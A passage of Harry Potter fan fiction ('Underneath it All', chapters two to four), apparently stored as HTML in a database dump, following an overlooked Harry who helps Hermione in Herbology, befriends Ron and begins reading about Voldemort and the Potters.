<br>\n   &quot;And your way of hinting is probably \'seeing\' his upcoming death and the \n reason?&quot; Professor McGonagall raised an eyebrow.<br>\n   <br>\n   &quot;Infact you\'re quite right Minerva.&quot;<br>\n   <br>\n   Dumbledore gave both of them a stern glance and their little quarrel stopped \n with pursed lips and a few glares. &quot;Anyways, I think we shouldn\'t just throw\nit at the boy  should we?&quot;<br>\n   <br>\n   &quot;Of course not, Potter can\'t even handle a simple hair-raising potion.&quot;\nSnape snapped.<br>\n   <br>\n   &quot;Let\'s not bring up his academic skills in this meeting,&quot; Dumbledore sighed. \n &quot;Well any suggestions?&quot;<br>\n  <br>\n  Silence blanketed the room as every professor seemed to sit in deep thought\n over the situation concerning Harry. Dumbledore\'s usual glint behind his\nhalf-moon spectacles seemed dimmed by the sudden thought of having to bring\nsomething up. <br>\n  <br>\n  &quot;Must we\'h tell \'im?&quot;<br>\n  <br>\n  &quot;Of course Rubeus, it is his life, and it is his right to know what truly\n happened in the past,&quot; said Dumbledore with a weary tone replacing his usual\n calm and steady voice.<br>\n  <br>\n  Hagrid sighed and slumped lower into his seat which was already caving\nin  slowly. &quot;Poor thin\' &quot;<br>\n  <br>\n  &quot;Well why not let the boy figure it out himself?&quot; Professor McGonagall\nsuggested  tightly as she scanned the group quickly before taking in a breath.\n&quot;I mean,  the information is there, right in front of him is it not?&quot;<br>\n  <br>\n  &quot;That is true, but the more informative books are in the restricted section\n mostly.&quot; Snape looked rather bored as he replied.<br>\n  <br>\n  Dumbledore suddenly sat straighter, shuffling his long purple robes in\nthe  process. &quot;Ah! That is a very good suggestion indeed Minerva.&quot;<br>\n  <br>\n  &quot;To get the boy to break rules?&quot; Snape at once glowered.<br>\n  <br>\n  &quot;Not exactly, we can bring the books to him.&quot; Dumbledore turned to Professor\n McGonagall, and she gave him a knowing glance back.<br>\n  <br>\n  &quot;Very well, I\'ll place the books in the dormitories tomorrow night, he\'ll\n simply think one of his fellow students left it behind carelessly.&quot;<br>\n  <br>\n  Snape frowned, &quot;That stupid boy won\'t even bother looking at them.&quot;<br>\n  <br>\n  &quot;Maybe a little charm will do,&quot; Dumbledore simply replied before he stood\n up, the twinkle in his eyes back once again. &quot;I guess our meeting is finished\n for tonight. And of course, you all know not to purposely slip anything\nin  front of any other students. We do not want rumours spreading.&quot;<br>\n  <br>\n  There were a few nods and murmers before the group dispatched.<br>\n  <br>\n  <br>\n  <br>\n\n<center>  ~*~</center>\n<br>\n  <br>\n  <br>\n  <br>\n  &quot;Ok class, are we all here?&quot; Professor Sprout\'s mass of messy greying hair\n seemed slightly puffier than usual as she bustled about with the many pots\n infront of her. When no one replied, she nodded, &quot;I take that as a yes then!\n Then let\'s get started now.&quot;<br>\n  <br>\n  Harry eyed the pots in front of Professor Sprout with a hint of curiousity,\n but the earmuffs next to them also reminded him of the annoying screeching\n sounds of the Mandrakes from his second year. He stuffed his hands into\nthe  pockets of his robes before clearing his mind and paying complete attention\n to the lesson being given.<br>\n  <br>\n  &quot;Now, you see here in front of me, pots.&quot; Professor Sprout waved a hand \nover the pots. &quot;And then, the earmuffs. What does this suggest to you?&quot;<br>\n  <br>\n  Everyone shifted slightly in confusion before a hand wavered in the air.\n &quot;Ah yes, Longbottom?&quot;<br>\n  <br>\n  &quot;Um...possibly...something in the pot is going to make some horrible noise\n and make us deaf...?&quot; Neville said uncertaintly, but Professor Sprout  beamed.<br>\n  <br>\n  &quot;Exactly! 10 points to Gryffindor! Now everyone grab a pair, but don\'t\nput  them on yet. I still have some explaining to do. Now, who remembers\nwhat we tackled during your...second year if I remember clearly?&quot;<br>\n  <br>\n  At once a hand shot up and Harry was startled to see that girl there again.<br>\n  <br>\n  &quot;Yes Miss. Granger?&quot;<br>\n  <br>\n  &quot;Mandrakes, also known as Mandragora.&quot; She answered before setting her\nhand  back down to her side. Harry stared at her silently.<br>\n  <br>\n  &quot;Yes, that\'s correct. So it is very clearly shown at the moment, that the\n plant we will be dealing with for today\'s lesson, will be related in some\n way to the Mandrake, hence the earmuffs.&quot; Professor Sprout explained as\nshe picked up a pair of creamy fluffy ones and placed them upon her ears.\n&quot;I suggest you all wear them now, just in case.&quot;<br>\n  <br>\n  The shuffling of robes subsided after a few seconds as everyone had on\na  pair of multi-colored ear muffs. Harry\'s was a mint green, much to his\ndistaste.<br>\n  <br>\n  &quot;Ok class, this is very similiar to the way of unpotting a Mandrake,&quot; Professor\n Sprout stuck her hand into the pot and pulled, &quot;And you simply pull, but\nnot to hard, you might wake it.&quot;<br>\n  <br>\n  &quot;Wake it?&quot; Someone questioned.<br>\n  <br>\n  &quot;Yes, wake it,&quot; Professor Sprout held up the creature she had just pulled\n out from the earth. Everyone stared at it wide-eyed, some burst out into\ngiggling-fits.<br>\n  <br>\n  Something that resembled a Mandrake in a way, was hanging from two tuffs\n of green leaves that were firmly grasped in the professor\'s hand. Yet it\nwasn\'t shrieking in a high-pitched scream, it was simply quiet. It had its\neyes closed, and the skin of it a very deep deep orange with little bubbles\nof yellow puss dotted about.<br>\n  <br>\n  &quot;Does anyone know what this is?&quot; Professor Sprout asked in a voice barely\n audible.<br>\n  <br>\n  Once again, Hermione raised her hand above the confused bundle of students.\n &quot;It\'s a Floundrake, a relative to the Mandrake. Unlike its sister, it does\n not scream when it is unpotted from the earth, infact, it sleeps all year\n round. But of course, there is a way of waking it up. Like dipping it into\n bubotubor pus, which will awake it instantly and the familiar shrieking\nwill  be heard. Also, it\'ll be rid of those puss bubble things too.&quot;<br>\n  <br>\n  Professor Sprout smiled brightly at Hermione, &quot;Excellent! Very very well\n explained! 10 points to Gryffindor for that wonderful explanation from Miss.\n Granger!&quot; Hermione glowed.<br>\n  <br>\n  Harry looked amused, Hermione Granger seemed to know everything.<br>\n  <br>\n  &quot;What Miss. Granger has said is absolutely correct, and here I have some\n bubotubor pus in these buckets, careful not to spill it on yourself. Leave\n your ear muffs on while handling these nasty little things at all times,\nunderstood?&quot; Everyone nodded, eager to begin. &quot;You will be placed into groups\nof four!&quot;<br>\n  <br>\n  The groups got called, and students quickly made their way to their groups.\n Harry found himself with Hermione, Susan Bones from Hufflepuff, and another\n Hufflepuff girl he couldn\'t recognize, which wasn\'t a surprise because he\n didn\'t seem to remember people even from his own house.<br>\n  <br>\n  &quot;Ok, I guess we better hurry so we have enough time to take notes afterwards,&quot;\n Hermione fussed as she put on her gloves hastily and placed the pot infront\n of the group. <br>\n  <br>\n  &quot;Who\'s going to do the pulling?&quot; The Hufflepuff girl questioned while biting\n the bottom of her lip.<br>\n  <br>\n  Susan crossed her arms, &quot;I never tried doing this stuff, neither has Melly.&quot;\n She pointed to the girl who had just spoke up. &quot;Actually, last time I tried\n pulling that Mandrake out, it didn\'t budge.&quot;<br>\n  <br>\n  Hermione frowned slightly, glancing at Harry. &quot;Well, do you want to?&quot; She\n asked quickly.<br>\n  <br>\n  &quot;Er...sure,&quot; Harry blinked and found himself situated infront of the pot.\n <i>It won\'t be that bad... </i><br>\n<br>\nHe made sure his earmuffs were secure, as he glanced nervously at his group\nwhich was staring intently down into the pot. Harry sucked in a breath before\nreaching into the damp earth and yanked with all his might.<br>\n<br>\nHe noticed he had closed one eye but kept another open and he sighed with\nrelief as he saw that it was still sleeping contently in his grasp. &quot;Ok...so..&quot;<br>\n<br>\n&quot;Shh, don\'t wake it,&quot; Hermione took the leaves in her hands and Harry relaxed\neven more, glad that the creature was no longer in his care. &quot;Someone bring\nthe bucket over...&quot;<br>\n<br>\nMelly nodded and turned around, yet Harry noticed that the bucket was right\nbehind her foot which sent the whole bucket of&nbsp;\nbubotubor pus flat onto the ground with a loud <i>clang! <br>\n<br>\n</i>Susan shrunk back, Harry held his breath, but it was Hermione who broke\nthe silence by letting out a startled cry. Everyone turned their attention\ntowards the head girl who was desperately trying to let go of the Floundrake\nwhich had woken up from the sudden commotion.<br>\n<br>\nIt was shrieking with all its might, hissing and spitting all over Hermione.\nHarry noticed at once that the strange creature didn\'t spit out nice normal\njunk, but the stuff that it did spit out seemed to burn the cloth of Hermione\'s\nrobes.<br>\n<br>\n&quot;Hermione! Your robes!&quot; Harry pointed out in shock.<br>\n<br>\nHermione, noticing the small holes starting to appear where the Floundrake\nspat, looked about in horror. She stared helplessly around her as she flung\nher arms away from herself, but the Floundrake clung on.<br>\n<br>\nHarry jammed his hand into his pocket and pulled out his wand, thinking desperately\nfor a spell to stop it all. &quot;Uh...um...Imprevius!&quot; He shouted and pointed\ntowards Hermione.<br>\n<br>\nThe Floundrake gave another shuddering cough and another yellow blob came\nout from its mouth and was about to land on Hermione\'s shoulder, but it simply\nbounced off. She shot Harry a&nbsp; thankful look just as Professor Sprout\ncame running towards them. &quot;What is the matter! Oh dear! It\'s awake!&quot;<br>\n<br>\nEveryone stood back as Professor Sprout threw a bucket of dragon dung compost\ntowards the Floundrake and Hermione. At once the shrieking was silenced and\nHermione realized the evil little thing had fallen asleep.<br>\n<br>\n&quot;Works like a charm,&quot; Professor Sprout muttered while lifting the creature\nfrom Hermione\'s arms. &quot;You better get yourself fixed up Miss. Granger before\nyour next class. I do say your robes need mending.&quot;<br>\n<br>\nHermione sighed and sank back into a bench behind her. &quot;Oh goodness that\nwas embarrassing!&quot; She brushed off the dirt from her hair in frustration.<br>\n<br>\n&quot;..Well, you were brave.&quot;<br>\n<br>\n&quot;What?&quot; She glanced up towards the speaker and noticed that it was Harry.\n&quot;Oh right, thank you very much for helping me then..if not, I think I wouldn\'t\nhave what\'s left of my robes.&quot; She chuckled slightly before squinting her\neyes. &quot;You\'re Harry right?&quot;<br>\n<br>\nHe stared and nodded numbly causing her to laugh slightly. &quot;What?&quot; He asked\nin confusion.<br>\n<br>\n&quot;I don\'t know, you just seem a bit dazed,&quot; Hermione smiled before standing\nup and gathered her things. &quot;I better go search up a spell that can repair\nrobes before Arithmancy. See you, Harry.&quot; She waved and was out of the greenhouse\nin an instance.<br>\n<br>\nHarry nodded again, even though she wouldn\'t have seen. &quot;See you...Hermione.&quot;\nAnd for once he felt that he did something more than being invisible.<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n<br>\nAN: Yes it\'s rather boring now, but it\'s just getting into it you know. Hehe,\nintroductory and all that. Hope you liked it and please review :)<br>\n<br>\n  <br>\n  <br>\n   <br>\n   <br>\n   <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n       \n\n\n'),
	(207, 3, '\n   <br>\n<br>\n<br>\n<br>\n<br>\nAN: I\'m so happy that some  people are actually reading this..hehe well I\nmight be updating kind of slowly  because of school work and all that, but\nI\'ll try my best :) Enjoy~<br>\n   <br>\n   Disclaimer: \n I don\'t own any of the original characters in Harry Potter, J. K. Rowling \n does. The plot and any extra characters belong to me :)<br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   \n<center><br>\n<br>\nUnderneath it All<br>\nChapter Three: Unexpected Gift</center>\n<br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n<br>\n&quot;Check mate!&quot; A red head exclaimed with a broad grin plastered across his \n freckled face while he sat back in triumph. &quot;Told ya you couldn\'t beat me, \n the master at wizard\'s chess. But you just had to push it Hermione.&quot;<br>\n   <br>\n   Hermione scowled and shook her head disprovingly. &quot;Don\'t let this get\nover  your head Ronald Weasley.&quot;<br>\n   <br>\n   Ron made a face. &quot;Don\'t call me that!&quot;<br>\n   <br>\n   &quot;Ronny,&quot; Hermione looked satisfied at Ron\'s grimace.<br>\n   <br>\n   &quot;Oh stop it...Herms!&quot; Ron smirked as he retaliated.<br>\n   <br>\n   &quot;Oh no you don\'t Ronnily,&quot; Hermione placed her hands on her hips while \nshooting  Ron daggers with her eyes.<br>\n   <br>\n   The red headed boy raised an eyebrow. &quot;Ronnily? That\'s a new one.&quot; Ron \npointed  out and shrugged. &quot;But really, KneeKnee, do you have time to be fooling\naround  with me right now?&quot;<br>\n   <br>\n   &quot;KneeKnee?!&quot; Hermione shrieked and jumped off the velvet red chair of\nthe  Gryffindor Common Room. &quot;That\'s it! I really <i>don\'t</i> have time\nto have  childish quarrels with you, so if you would exuse me...&quot;<br>\n   <br>\n   &quot;Right indeed KneeKnee,&quot; Ron smirked again as he knew he had hit the right \n string at last. &quot;Oh Hermione! You\'re impossible!&quot;<br>\n   <br>\n   She shot him a glare before tucking her bushy hair behind her ears. &quot;In\n that case, you\'re even more impossible. I think you should start studying\n for our upcoming Potions quiz that Snape so generously offered to us.&quot;<br>\n   <br>\n   Ron\'s shoulders fell at the reminder of the quiz that Professor Snape\nhad  suddenly wanted them to write. &quot;It\'s insane! I mean, it\'s the first\nweek back from holidays! We\'ve only taken what? One page of notes!&quot; He cried\nin exasperation. <br>\n   <br>\n   &quot;That\'s why it won\'t be such a pain for that little pea brain of yours,&quot; \n She replied while smoothing out her robes and examining them expectantly.<br>\n   <br>\n   &quot;Oh right, you fixed them!&quot; Ron realized as he eyed Hermione\'s crisp unwrinkled \n robes. It looked even newer and cleaner than his.<br>\n   <br>\n   &quot;Oh a simple mending charm did the trick,&quot; Hermione said with a wave of\n her hand.<br>\n   <br>\n   Ron nodded, &quot;Bloody brilliant I do say.&quot;<br>\n   <br>\n   &quot;Yeah, but really, thank Harry.&quot;<br>\n   <br>\n   &quot;What?&quot; He blinked.<br>\n   <br>\n   &quot;I said- thank Harry! Is that also hard to understand?&quot; Hermione rolled\n her eyes while picking up her books quickly, the weight of them pulling\nher  down slightly.<br>\n   <br>\n   Ron scratched his head thoughtfully before saying, &quot;Harry...uh... oh Harry! \n That guy who was in your class today?&quot;<br>\n   <br>\n   &quot;Yes, of course...you know, it is rather strange how we never really noticed \n him through all these years isn\'t it? I mean he\'s not a <i>stranger</i>, \nbut it feels like it.&quot; Hermione said in wonder.<br>\n   <br>\n   &quot;He\'s just awfully awfully quiet, that\'s all. He blends into things too.&quot; \n He added with a chuckle. &quot;So he like, grabbed that thing off you or what?&quot;<br>\n   <br>\n   &quot;No, he used a spell, unlike you who probably would have tried to grab \nthat Floundrake off!&quot; Hermione shifted the books around her hands before\nstanding straighter.  &quot;Use your brain Ron, I mean you have one, just wake\nit up. And I really better  go now, see you at dinner!&quot;<br>\n   <br>\n   Ron simply nodded as Hermione headed towards the portrait of the Fat Lady.<br>\n   <br>\n   <br>\n   <br>\n\n<center> ~*~</center>\n<br>\n   <br>\n   <br>\n   <br>\n   Harry sighed as he waved his wand over the fork infront of him for the \ntwentieth  time. It stood up on its pointed end and shriveled up into a ball.<br>\n   <br>\n   He glared at the fork and stretched his stiff arms. &quot;How am I suppose\nto  change this fork into turkey dinner!&quot; Harry poked the fork with the end \nof  his wand, causing sparks to erupt and bounce off the fork. He really didn\'t\n dislike Transfiguration, but he just wasn\'t...talented in it. Infact, Harry\n noticed he wasn\'t talented in alot of things.<br>\n   <br>\n   Professor McGonagall had assigned them homework, which was what Harry\nwas  trying to do at the very moment. He was really trying to clear his mind \nfrom  the events of the past week, but something or another would slip into \nhis  mind and then the fork would quiver and change into something else other \nthan a delicious turkey dinner.<br>\n   <br>\n   &quot;Guess I could try it again...&quot; Harry raised his hand determinedly and\nwaved  it over the shriveled fork just as his emerald eyes caught sight of\nan awfully  familiar girl coming into the library. Hermione.<br>\n   <br>\n   &quot;Oh hi Harry!&quot; Hermione smiled brightly while setting down her books on\n the same table as him, but a few seats away. &quot;Oh that\'s really pretty.&quot;<br>\n   <br>\n   &quot;Huh?&quot;<br>\n   <br>\n   &quot;That rose underneath your nose,&quot; Hermione pointed with a strange look \nin  her eyes. &quot;I mean, it\'s yours isn\'t it?&quot;<br>\n   <br>\n   Harry blinked as he looked down the end of his nose and saw a delicate \nglass  rose sitting in place exactly where his shriveled up fork had once \nbeen. &quot;Oh! That...I mean, it was..er..&quot;<br>\n   <br>\n   Hermione came over for a closer look and placed it on her hands. &quot;Where\n did you get this? I\'ve never seen any glass item so delicately carved...&quot;\n Her voice faded away as she ran one finger around a petal.<br>\n   <br>\n   &quot;Er...youcanhaveit!!&quot;<br>\n   <br>\n   &quot;Pardon?&quot; She switched her gaze from the rose to Harry who seemed to be\n an awful shade of red at the moment. <br>\n   <br>\n   Harry sighed and let out a breath. &quot;You can have it.&quot; He said with a shrug. \n &quot;If you don\'t want it I can just...change it into something else.&quot;<br>\n   <br>\n   &quot;I can have it?&quot; Hermione asked in shock. &quot;But it\'s yours!&quot;<br>\n   <br>\n   &quot;I uh...don\'t have use for these things anyways. I found it,&quot; He lied\nquickly.  &quot;Just sitting on this table when I arrived, and I guess I was marveling \nits  beauty too.&quot;<br>\n   <br>\n   &quot;Oh...&quot; She blushed a light shade of pink before returning to her seat.\n &quot;Then..thank you I guess.&quot;<br>\n   <br>\n   A small smile played at the ends of Harry\'s lips. &quot;It\'s nothing really.&quot;<br>\n   <br>\n   Hermione nodded and quickly dipped her head behind a book, not wanting \nto  waste anymore time than she already had. A quill was already in her hand \nand a piece of fresh new parchment was laid in front of her, with the glass \nrose sitting beside her left hand. <br>\n   <br>\n   The library was silent after that, except for the occasional scratching\n sounds of quill on parchment, and the coughs coming from Madam Pince. Harry\n sat there and it slowly dawned on him that he had just given away his Transfiguration \n homework to the girl sitting a few feet away from him. He groaned inwardly, \n not knowing what to do. He couldn\'t walk up to the girl and ask for it back...that \n was plain rude. But what would he say to Professor McGonagall? <br>\n   <br>\n   <i>I turned it into a rose accidentally and gave it to a girl. </i>Harry \n thought and knew at once the whole class would probably erupt into laughter \n and \'ooooohs\'. Then again, he could always steal a fork at dinner...yes, \nthat was set. He would simply take his fork with him after dinner and continue \n his attempts with Transfiguration.<br>\n   <br>\n   &quot;Why are you muttering about a fork?&quot; The question snapped Harry out of\n his revere.<br>\n   <br>\n   &quot;What? Did I say something?&quot;<br>\n   <br>\n   Hermione closed the huge textbook she had been reading through and nodded, \n &quot;Kind of. I just caught a few words, mostly the word \'fork\' and something \n of that sort. Are you hungry?&quot; She glanced around her shoulder to the big \n clock hanging over head. &quot;But that\'s no surprise since dinner\'s about to \nstart in ten minutes.&quot;<br>\n   <br>\n   &quot;Uh...yeah...well...&quot; Harry felt bad for lying again in the same day and \n to the same person, so he sighed and spoke, &quot;No actually..it\'s Transfiguration.&quot; \n He confessed.<br>\n   <br>\n   &quot;What about it?&quot;<br>\n   <br>\n   &quot;I\'m having trouble with the assignment,&quot; Harry muttered sheepishly and\n as quickly as possible while avoiding Hermione\'s eyes at the same time.<br>\n   <br>\n   &quot;Oh! That thing? It\'s actually quite simple once you get the hang of it!&quot; \n Hermione said smartly as she pushed her chair back. &quot;How about let\'s go to\n dinner and then we can return to Gryffindor Tower and I can give you some\n help?&quot;<br>\n   <br>\n   &quot;Really?&quot; Harry questioned and he realized he shouldn\'t have spoke up\nso  soon. He looked at his feet again. <br>\n   <br>\n   Hermione stood up and tilted her head, &quot;Of course, it won\'t take up too\n much time.&quot;<br>\n   <br>\n   &quot;...Thanks,&quot; Harry uttered.<br>\n   <br>\n   &quot;Well, let\'s just say it\'s me showing thanks to you for giving me this,&quot; \n Hermione picked up the glass rose and tucked it securely into the pocket \nof her robes and looked up again to meet Harry\'s gaze.<br>\n   <br>\n   Harry quickly broke the gaze by turning his attention to the clock once\n again. &quot;Two minutes left to get to the Great Hall.&quot;<br>\n   <br>\n   &quot;I\'ll race you there!&quot; Harry stood dumbfounded on the spot before he realized \n what Hermione had just said as he broke into a run after her.<br>\n   <br>\n   <i>She is one strange girl... <br>\n  <br>\n  <br>\n</i>\n<center> ~*~</center>\n<br>\n<i>  <br>\n  <br>\n  </i>Dinner at Hogwarts had never gone by so slowly as it was tonight. Harry\n found himself holding his fork and moving it in a circular motion around\nhis peas and carrots. He didn\'t know why, but he had a great urge to jump\nup and tell everyone to get back to Gryffindor Tower to sleep and stop eating.<br>\n  <br>\n  &quot;Can you pass the salad?&quot;<br>\n  <br>\n  Harry\'s eyes darted from his plate and his first glimpse was a mass of\nawfully  red hair. He didn\'t say anything though, but simply handed the salad\nbowl  towards the boy.<br>\n  <br>\n  &quot;Thanks Harry,&quot; The boy grinned heartedly before scooping himself a big \nspoonful of salad and plopping in onto his plate.<br>\n  <br>\n  <i>He knows me...well my name! &nbsp;</i>Harry thought that this was very\n strange. No one knew his name except for the teachers, Neville, and...Hermione.\n Possibly some other people he didn\'t know of, but other than that..that\nwas  all.<br>\n  <br>\n  &quot;Well, you<i> are</i> Harry right?&quot; The boy looked uneasily at Harry.<br>\n  <br>\n  &quot;Yeah..&quot; Harry answered uncertainly, wondering how this boy knew his name.\n But Harry knew that the red head was obviously a Weasley. Everyone knew\nthat  if they saw a red head roaming Hogwarts, it was most likely part of\nthe Weasley  crowd. Yet Harry knew this Weasley a bit more than just..a Weasley.\nHe had  seen him before, out on the Quidditch field, and infact, Harry remembered\n that this Weasley was Keeper and captain for the Gryffindor Quidditch Team.<br>\n  <br>\n  &quot;And you\'re...&quot; Harry began and the boy looked at him meekly. <br>\n  <br>\n  &quot;Oh right! I\'m Ron Weasley!&quot; He stuck on his hand towards Harry and he\nshook  it slowly.<br>\n  <br>\n  Ron sank back into his chair and noticed Harry\'s expression- a cross between\n confusion and shock. &quot;What\'s the matter?&quot;<br>\n  <br>\n  &quot;Er..nothing really,&quot; Harry grabbed his forked and stuffed a spoonful of\n peas into his mouth before grimacing and having to swallow a whole goblet\n of pumpkin juice along with it.<br>\n  <br>\n  Ron chuckled, &quot;Calm down, I\'m not going to bite or something!&quot;<br>\n  <br>\n  &quot;...Right,&quot; Harry turned away in embarrassment and focused on Seamus Finnigan\'s\n nose.<br>\n  <br>\n  After a good few minutes of silence from Ron, Harry dared to turn back\nto  his food but he was wrong that Ron had forgotten about him. &quot;So, you\nsaved  Hermione didn\'t cha?&quot;<br>\n  <br>\n  &quot;I did?&quot; Harry said bluntly.<br>\n  <br>\n  &quot;Uh yeah. During Herbology!&quot; Ron reminded. &quot;How could you forget so soon?&quot;<br>\n  <br>\n  &quot;Oh that, well..it wasn\'t that big of a deal,&quot; Harry replied. &quot;Anyone could\n have done it.&quot;<br>\n  <br>\n  Ron shook his head with wide eyes, &quot;No way! I would have lunged at that \nFloundrake and tried to pull it off of her...ha, you can say I don\'t think \nbefore I act at times.&quot; He added sheepishly. &quot;It wouldn\'t have been smart \nto have grabbed it neh?&quot;<br>\n  <br>\n  &quot;Well...you would probably get a few of those..puss bubbles all over your\n hands...but other than that, it\'s not life threatening,&quot; Harry smirked and\n Ron laughed. <br>\n  <br>\n  Maybe dinner wasn\'t going by too slowly, not with Ron Weasley at least.<br>\n  <br>\n  <br>\n\n<center>~*~</center>\n<br>\n  <br>\n  <br>\n  Harry for the first time had used his prefect status and ordered every\nfourth  year and under to go to bed and leave the common room. It was getting\nhorridly  noisy with them around and impossible to concentrate on what Hermione\nwas explaining to him.<br>\n  <br>\n  &quot;Ok, that settles the noise,&quot; Harry muttered before sitting down again. \n&quot;So where were we again?&quot;<br>\n  <br>\n  &quot;On the focusing part,&quot; Hermione said as she waved her wand over the fork.\n &quot;See.&quot; The fork instantly changed into a nice steaming plate of turkey dinner.\n &quot;Simple!&quot; She exclaimed while sniffing the fumes. &quot;It doesn\'t smell bad\neither.&quot;<br>\n  <br>\n  &quot;Easy for you to say...I noticed you\'re like a dictionary!&quot; <br>\n  <br>\n  Hermione raised her eyebrows before changing the plate of food back into\n a fork. &quot;A dictionary?&quot;<br>\n  <br>\n  &quot;Well yeah...you just kind of seem to know stuff,&quot; Harry explained before\n raising his own wand. He closed his eyes slightly, trying to think of that\n steaming plate of turkey dinner while he waved his wand over the fork.<br>\n  <br>\n  &quot;Oooh! Pretty close Harry!&quot; Hermione exclaimed and Harry\'s eyes snapped \nopen completely. <br>\n  <br>\n  A plate with a carrot had replaced the fork, and Harry\'s face broke into\n a grin. &quot;I guess that\'s the best I\'ve done for the day isn\'t it?&quot;<br>\n  <br>\n  &quot;Mm hmm, you\'re getting there,&quot; Hermione beamed. &quot;Really!&quot;<br>\n  <br>\n  &quot;Yeah, thanks,&quot; Harry gave her a lop sided smile, and Hermione\'s eyes shifted\n quickly away from his face to the carrot. &quot;Is something wrong?&quot; He asked, \nnoticing her sudden silence.<br>\n <br>\n &quot;Oh nothing..&quot; She quickly stood up and headed towards the potrait. &quot;I think \nwe should call it a night! You made great progress Harry and I think with \na bit more practice you could master Transfiguration in no time.&quot;<br>\n <br>\n Harry turned red and simply uttered, &quot;Good night.&quot;<br>\n <br>\n &quot;Night,&quot; The portrait swung open and Hermione was gone and headed towards \nthe Head Girl and Head Boy dormitories.<br>\n <br>\n He was the only one left in the common room by now, and as he made his way \nslowly up the stairs to the Prefect\'s section of the tower, he couldn\'t help \nbut feel proud at his accomplishment.<br>\n <br>\n &quot;Chicken Wings,&quot; He muttered to the portrait and it swung open revealing\na nice warm room decorated in a similiar way as the Gryffindor common room.\n&nbsp;Harry flopped onto his bed without a second\'s glance and immediately\njumped back onto his feet and rubbed his back.<br>\n<br>\n&quot;Ow...&quot; He muttered under his breath while scanning his bed sheets. A noticeable\nlump was visible from underneath and he quickly pulled the scarlet sheets\nback to reveal... &quot;What? I don\'t remember taking out any books from the library\nat all.&quot;<br>\n<br>\nHe picked one thick book up from the pile and squinted his eyes to make out\nthe strange cursive writing across the top of the book. &quot;History...of...the\nmost...feared...dark wizards...of the...wizarding world.&quot; Harry shifted his\nglasses for they had slipped to the bridge of his nose.<br>\n<br>\nAfter a few minutes he had realized that most of the books from the mysterious\npile were all quite similiar. On dark wizards and history on them. &quot;I wonder\nwho left them here? I mean, I think only Neville knows the password to my\nroom cause he heard me mutter it once...but knowing Neville, he would have\nforgotten it right away, and he wouldn\'t take out so many books...and hide\nthem under my bed.&quot; He pondered aloud in confusion.<br>\n<br>\nYet nonetheless, he picked one up and walked slowly over to a couch against\nthe wall and sat down. He opened the book in curiousity, and soon enough,\nhe was drawn into the history of one of the most feared dark wizards of them\nall; Voldemort.<br>\n<br>\n<br>\n &nbsp;&nbsp;<br>\n  <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n     \n\n\n'),
	(207, 4, '\n <br>\n<br>\n<br>\n<br>\nDisclaimer: I don\'t own any of the original characters in Harry Potter, J.\nK. Rowling does. The plot and any extra characters belong to me :)<br>\n <br>\n <br>\n <br>\n<br>\n<br>\n<br>\n<br>\n\n<center>Underneath it All<br>\n  Chapter Four: Quidditch Incident</center>\n<br>\n <br>\n <br>\n <br>\n <br>\n <br>\n <br>\n<br>\nHarry found himself sitting in alert attention well into the night with tired\neyes. He quickly glanced to his alarm clock by his bedside table- 2:30 AM.\nHarry found himself letting out a yawn, but he didn\'t feel like going to bed\njust yet. Not when he was getting at an interesting part in the book.<br>\n <br>\n &quot;He\'s so cruel...&quot; He muttered under his breath as he continued reading\nunder the section about Voldemort\'s murders. He had just finished reading\na bit about Voldemort\'s childhood and found it rather normal. Who would\'ve\nthought that the young boy would turn into the evilest wizard known to the\nwizarding world?<br>\n <br>\n <i>Voldemort, commonly known as you-know-who, struck terror to everyone\'s \nhearts with his mass killings and sometimes he would even wipe out entire \nwizarding villages. His attacks were random, and no one was able to predict \nwhere he and his death eaters were to attack next. All you-know-who\'s murders \nwere done quickly and left with a dark mark hovering above the location of \nthe attack. All bodies were left where they had fallen, except for one particular \ncase. The Potters, a well respected wizarding family, were innocent enough \nand yet they were attacked nonetheless and wiped out completely. None were \nleft alive, and all bodies were left at the scene except the body of the baby\nboy belonging to the Potters.</i><br>\n <br>\n Harry\'s finger traced every word with immense concentration and he could\nfeel his eyes bulging as he quickly read on.<br>\n <br>\n <i>Lily Potter, wife of James Potter, was said to have given birth to a\nbaby boy for just a year before the attack. The body of the boy was never\nfound, yet the poor thing was probably lost under the pile of wreckage or\nmost likely burned with the rest of the Potter Manor.<br>\n </i><br>\n He grimaced at the thought of a baby being burned alive...the cries it must \nhave shrieked..yet Harry wasn\'t lost in that thought, he was more dumbfounded \nat the last name of the family. The <i>Potter</i> family. He was confused \nand so many possibilities were running through his exhausted mind.<br>\n <br>\n <i>James Potter and Lily Potter... </i>Harry traced his finger over the\nnames slowly, almost...lovingly? He shook his head and sighed. What was he\nthinking? Maybe it was a coincidence...there must have been many families\nwith the last name Potter out there somewhere. Yet Harry couldn\'t help but\nhave a twinge of hope and he decided to read onto the next paragraph nonetheless.<br>\n <br>\n <i>But one of the most intruging things that occured during the night of \nthe Potter\'s murder was that after it, you-know-who disappeared. He did not \nstrike again and hasn\'t until this day. Many, espeically the Ministry of Magic,\nare convinced that you-know-who has suddenly lost power and is defeated. Though\nmany doubt it, and still believe that you-know-who is out there somewhere \nin hiding, plotting to strike again. But all believe, that something must\'ve \nhappened at the Potter Manor, resulting to you-know-who\'s uncalled for disappearance.<br>\n <br>\n He disappeared...! </i>The thought ran wildly in Harry\'s thoughts, but then \nagain, why should he care if some mad evil wizard was lose? No one else seemed \nto care, in fact, he only learned of this Voldemort person in some classes.\nBut he did notice everyone still had great fear for they never spoke of him \nin name.<br>\n <br>\n &quot;What\'s so bad about saying the name Voldemort anyways? I mean, even the \ntextbook says that! That is plain weird,&quot; Harry mumbled as he shut the book \nand threw it onto the coffee table in front of him. <br>\n <br>\n He walked across the room to his closet and pulled out a pair of navy blue \npajamas and quickly changed into them, the Potters and Voldemort still spinning \naround in his head. <br>\n <br>\n &quot;Ugh,&quot; He tossed the other books off his bed and lazily threw the covers \nover himself. Tonight had been a long one, and he knew he had better fall\nasleep soon to be able to wake up for classes the next morning.<br>\n<br>\n<i>Voldemort... </i>Harry winced and he could have swore that he felt a throbbing\npain somewhere near his forehead...almost as if his scar was hurting. He\nshook his head and rolled over, dismissing the thought and clamping his tired\neyes 